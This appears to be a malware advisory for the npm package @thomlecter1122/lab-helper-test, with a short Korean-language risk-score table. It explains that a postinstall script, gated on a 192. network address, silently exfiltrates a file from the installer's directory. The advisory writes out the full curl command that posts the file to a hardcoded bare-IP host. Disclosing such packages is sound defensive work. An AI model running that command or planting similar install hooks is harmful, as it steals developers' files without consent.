Malicious code in @thomlecter1122/lab-helper-test (npm)
-= Per source details. Do not edit below this line.=-
The package ships a postinstall lifecycle script (sec_check.js) that fires automatically on npm install. The script first checks whether the host has a non-internal IPv4 address beginning with 192. (a network-environment gate that hides the behavior from developer laptops and CI on other subnets), and if so executes curl -X POST http://18.175.63.47:8080/collect --data-binary "@${INIT_CWD}/myfile.txt" via child_process.execSync with stdio suppressed. This reads a file from the installer's working directory and ships it over plain HTTP to a hardcoded bare-IP attacker host with no consent and no error surfacing. The combination of automatic lifecycle execution, environment-gated activation, hardcoded bare-IP C2, and silent error handling is a textbook exfiltration dropper.
왜 이 VPI인가 (설명가능 · 실험적)
VPI 산정 기준
| 영향도(기본값(정보 없음)) | 55.00 |
| 악용 신호(추가 악용신호 없음) | ×1.00 |
| VPI | 55.00 |
VPI 공식 vpi-v1 기준